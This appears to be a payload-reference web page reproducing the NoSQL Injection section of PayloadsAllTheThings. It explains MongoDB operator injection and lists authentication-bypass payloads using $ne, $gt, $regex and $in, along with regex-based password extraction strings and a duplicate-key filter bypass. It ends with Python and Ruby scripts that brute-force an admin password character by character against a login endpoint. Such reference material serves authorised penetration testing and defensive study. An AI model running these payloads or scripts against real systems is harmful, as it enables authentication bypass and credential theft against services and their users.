HexBrain

Browse / Payloads / NoSQL Injection

NoSQL Injection

11 passages of payloads and techniques. See also the 332 disclosed SQL Injection reports.

Overview

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Source

Tools

Source

Methodology

NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like $ne, $gt, $regex, or $where in MongoDB.

Source

Methodology > Operator Injection
OperatorDescription
$nenot equal
$regexregular expression
$gtgreater than
$ltlower than
$ninnot in

Example: A web application has a product search feature

db.products.find({ "price": userInput })

An attacker can inject a NoSQL query: { "$gt": 0 }.

db.products.find({ "price": { "$gt": 0 } })

Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.

Source

Methodology > Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

  • HTTP data

    username[$ne]=toto&password[$ne]=toto
    login[$regex]=a.*&pass[$ne]=lol
    login[$gt]=admin&login[$lt]=test&pass[$ne]=1
    login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
    
  • JSON data

    {"username": {"$ne": null}, "password": {"$ne": null}}
    {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
    {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
    {"username": {"$gt":""}, "password": {"$gt":""}}
    

Source

Methodology > Extract Length Information

Inject a payload using the $regex operator. The injection will work when the length is correct.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Source

Methodology > Extract Data Information

Extract data with "$regex" query operator.

  • HTTP data

    username[$ne]=toto&password[$regex]=m.{2}
    username[$ne]=toto&password[$regex]=md.{1}
    username[$ne]=toto&password[$regex]=mdp
    
    username[$ne]=toto&password[$regex]=m.*
    username[$ne]=toto&password[$regex]=md.*
    
  • JSON data

    {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
    {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
    {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
    

Extract data with "$in" query operator.

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Source

Methodology > WAF and Filters

Remove pre-condition:

In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.

{"id":"10", "id":"100"} 

In this case, the final value of "id" will be "100".

Source

Blind NoSQL > POST with JSON Body

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

Source

Blind NoSQL > POST with urlencoded Body

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

Source

Blind NoSQL > GET

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c

Ruby script:

require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
end

Source

From PayloadsAllTheThings by Swissky and contributors, used under the MIT licence. Use it only on systems you are authorised to test.